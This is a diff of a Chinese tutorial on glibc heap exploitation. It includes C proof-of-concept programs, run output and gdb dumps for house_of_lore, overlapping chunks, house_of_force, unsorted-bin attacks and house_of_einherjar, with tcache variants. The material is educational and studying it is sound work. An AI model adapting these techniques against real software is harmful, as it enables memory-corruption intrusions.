最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。
|
||||
|
||||
heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -fsanitize=address -g poison_null_byte.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0x60200000eff0
|
||||
@ -430,7 +449,8 @@ allocated by thread T0 here:
|
||||
#2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
```
|
||||
|
||||
#### house_of_lore
|
||||
### house_of_lore
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -480,7 +500,8 @@ int main() {
|
||||
memcpy((p4+40), &sc, 8);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g house_of_lore.c
|
||||
$ ./a.out
|
||||
Allocated the victim (small) chunk: 0x1b2e010
|
||||
@ -502,10 +523,12 @@ The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
|
||||
|
||||
Nice jump d00d
|
||||
```
|
||||
|
||||
在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。
|
||||
|
||||
首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
@ -527,7 +550,9 @@ gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
|
||||
molloc 中对于 small bin 链表的检查是这样的:
|
||||
|
||||
```c
|
||||
[...]
|
||||
|
||||
@ -545,10 +570,12 @@ molloc 中对于 small bin 链表的检查是这样的:
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。
|
||||
|
||||
接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
|
||||
0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
@ -570,7 +597,8 @@ gef➤ heap bins unsorted
|
||||
```
|
||||
|
||||
这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ heap bins small
|
||||
[ Small Bins for arena 'main_arena' ]
|
||||
[+] small_bins[8]: fw=0x603000, bk=0x603000
|
||||
@ -578,7 +606,8 @@ gef➤ heap bins small
|
||||
```
|
||||
|
||||
接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
|
||||
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1
|
||||
@ -600,20 +629,25 @@ gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
|
||||
我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:
|
||||
```
|
||||
|
||||
```text
|
||||
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
|
||||
|
||||
fd: ->
|
||||
bk: <-
|
||||
```
|
||||
|
||||
fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。
|
||||
|
||||
接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:
|
||||
```
|
||||
|
||||
```text
|
||||
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3
|
||||
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50
|
||||
@ -639,11 +673,14 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
|
||||
→ Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:
|
||||
```
|
||||
|
||||
```text
|
||||
HEAD(undefined) <-> fake chunk 2 <-> TAIL
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
|
||||
0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL
|
||||
@ -651,12 +688,14 @@ gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc60: 0x4141414141414141 0x4141414141414141
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
|
||||
于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。
|
||||
|
||||
最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。
|
||||
|
||||
heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -fsanitize=address -g house_of_lore.c
|
||||
$ ./a.out
|
||||
Allocated the victim (small) chunk: 0x60c00000bf80
|
||||
@ -673,6 +712,7 @@ READ of size 8 at 0x60c00000bf80 thread T0
|
||||
```
|
||||
|
||||
最后再给一个 libc-2.27 版本的:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -741,7 +781,8 @@ int main() {
|
||||
memcpy((p4+0xa8), &sc, 8);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g house_of_lore.c
|
||||
$ ./a.out
|
||||
Allocated the victim (small) chunk: 0x55674d75f260
|
||||
@ -764,7 +805,8 @@ The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0
|
||||
Nice jump d00d
|
||||
```
|
||||
|
||||
#### overlapping_chunks
|
||||
### overlapping_chunks
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -806,7 +848,8 @@ int main() {
|
||||
fprintf(stderr, "p3 = %s\n", (char *)p3);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g overlapping_chunks.c
|
||||
$ ./a.out
|
||||
Now we allocate 3 chunks on the heap
|
||||
@ -828,10 +871,12 @@ If we memset(p3, 'C', 0x50), we have:
|
||||
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
```
|
||||
|
||||
这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。
|
||||
|
||||
首先分配三个堆块,然后释放掉中间的一个:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/60gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
@ -868,19 +913,23 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
|
||||
→ Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。
|
||||
|
||||
接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
|
||||
→ Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
这时 unsorted bin 中的数据也更改了。
|
||||
|
||||
接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/60gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
@ -913,9 +962,11 @@ gef➤ x/60gx 0x602010-0x10
|
||||
0x6021c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6021d0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。
|
||||
|
||||
#### overlapping_chunks_2
|
||||
### overlapping_chunks_2
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -968,7 +1019,8 @@ int main() {
|
||||
fprintf(stderr, "p3 after = %s\n", (char *)p3);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g overlapping_chunks_2.c
|
||||
$ ./a.out
|
||||
Now we allocate 5 chunks on the heap
|
||||
@ -989,10 +1041,12 @@ Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
|
||||
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
|
||||
p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
|
||||
```
|
||||
|
||||
同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。
|
||||
|
||||
我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/70gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
@ -1034,10 +1088,12 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
|
||||
→ Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
free chunk 4 被放入 unsorted bin,大小为 0x90。
|
||||
|
||||
接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/70gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
@ -1079,6 +1135,7 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
|
||||
→ Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。
|
||||
|
||||
最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。
|
||||
|
@ -8,11 +8,12 @@
|
||||
- [house_of_orange](#house_of_orange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.1.6_heap_exploit)
|
||||
|
||||
## how2heap
|
||||
#### house_of_force
|
||||
|
||||
### house_of_force
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@ -54,7 +55,8 @@ int main() {
|
||||
fprintf(stderr, "new string: %s\n", bss_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g house_of_force.c
|
||||
$ ./a.out
|
||||
We will overwrite a variable at 0x601080
|
||||
@ -74,30 +76,36 @@ Now, the next chunk we overwrite will point at our target buffer, so we can over
|
||||
old string: This is a string that we want to overwrite.
|
||||
new string: YEAH!!!
|
||||
```
|
||||
|
||||
house_of\_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。
|
||||
|
||||
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
chunk 1 真实可用的内存有 0x18 字节。
|
||||
|
||||
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
改写之后的 size==0xffffffff。
|
||||
|
||||
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
@ -113,7 +121,8 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
```
|
||||
|
||||
再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x601060: 0x4141414141414141 0x4141414141414141
|
||||
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
|
||||
@ -122,9 +131,11 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||||
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
|
||||
```
|
||||
|
||||
该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
|
||||
|
||||
#### unsorted_bin_into_stack
|
||||
### unsorted_bin_into_stack
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -163,7 +174,8 @@ int main() {
|
||||
fprintf(stderr, "malloc(0x100): %p\n", fake);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g unsorted_bin_into_stack.c
|
||||
$ ./a.out
|
||||
Allocating the victim chunk at 0x17a1010
|
||||
@ -178,10 +190,12 @@ Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
|
||||
Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
|
||||
malloc(0x100): 0x7fffcd906490
|
||||
```
|
||||
|
||||
unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
|
||||
|
||||
首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx victim - 2
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
@ -190,8 +204,10 @@ gdb-peda$ x/4gx stack_buf
|
||||
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
|
||||
```
|
||||
|
||||
然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx victim - 2
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer
|
||||
@ -200,8 +216,10 @@ gdb-peda$ x/4gx stack_buf
|
||||
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
|
||||
```
|
||||
|
||||
那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx victim - 2
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
|
||||
@ -210,12 +228,14 @@ gdb-peda$ x/4gx fake - 2
|
||||
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||
0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0
|
||||
```
|
||||
|
||||
fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。
|
||||
|
||||
将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,`stack_buf[3]` 不能再设置成任意地址。
|
||||
|
||||
malloc 前:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx victim - 2
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0
|
||||
@ -238,8 +258,10 @@ gdb-peda$ x/26gx 0x0000555555756000+0x10
|
||||
0x5555557560c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
malloc 后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx victim - 2
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80
|
||||
@ -262,9 +284,11 @@ gdb-peda$ x/26gx 0x0000555555756000+0x10
|
||||
0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries
|
||||
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。
|
||||
|
||||
#### unsorted_bin_attack
|
||||
### unsorted_bin_attack
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -287,7 +311,8 @@ int main() {
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g unsorted_bin_attack.c
|
||||
$ ./a.out
|
||||
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
|
||||
@ -298,18 +323,22 @@ We write it with the target address-0x10: 0x7ffc9b1d61a0
|
||||
|
||||
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
|
||||
```
|
||||
|
||||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||||
|
||||
unlink 的对 unsorted bin 的操作是这样的:
|
||||
|
||||
```c
|
||||
/* remove from unsorted list */
|
||||
unsorted_chunks (av)->bk = bck;
|
||||
bck->fd = unsorted_chunks (av);
|
||||
```
|
||||
|
||||
其中 `bck = victim->bk`。
|
||||
|
||||
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
@ -334,7 +363,8 @@ gef➤ heap bins unsorted
|
||||
```
|
||||
|
||||
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
|
||||
@ -353,9 +383,11 @@ gef➤ x/4gx &stack_var-2
|
||||
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
|
||||
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
|
||||
```
|
||||
|
||||
从而泄漏了 unsorted bin 的头部地址。
|
||||
|
||||
那么继续来看 libc-2.27 里怎么处理:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -386,7 +418,8 @@ int main() {
|
||||
fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g tcache_unsorted_bin_attack.c
|
||||
$ ./a.out
|
||||
The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
|
||||
@ -401,7 +434,9 @@ Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
|
||||
|
||||
Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
|
||||
```
|
||||
|
||||
我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:
|
||||
|
||||
```c
|
||||
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
||||
{
|
||||
@ -411,7 +446,9 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6
|
||||
> av->system_mem, 0))
|
||||
malloc_printerr ("malloc(): memory corruption");
|
||||
```
|
||||
|
||||
那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:
|
||||
|
||||
```c
|
||||
if (tc_idx < mp_.tcache_bins
|
||||
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
|
||||
@ -421,9 +458,11 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6
|
||||
return tcache_get (tc_idx);
|
||||
}
|
||||
```
|
||||
|
||||
这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。
|
||||
|
||||
于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 `0xff`,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* Fill cache first, return to user only if cache fills.
|
||||
@ -443,9 +482,11 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6
|
||||
alloc_perturb (p, bytes);
|
||||
return p;
|
||||
```
|
||||
|
||||
于是就成功泄露出了 unsorted bin 的头部地址。
|
||||
|
||||
#### house_of_einherjar
|
||||
### house_of_einherjar
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -502,7 +543,8 @@ int main() {
|
||||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g house_of_einherjar.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0xb31010
|
||||
@ -529,10 +571,12 @@ Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
|
||||
|
||||
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
|
||||
```
|
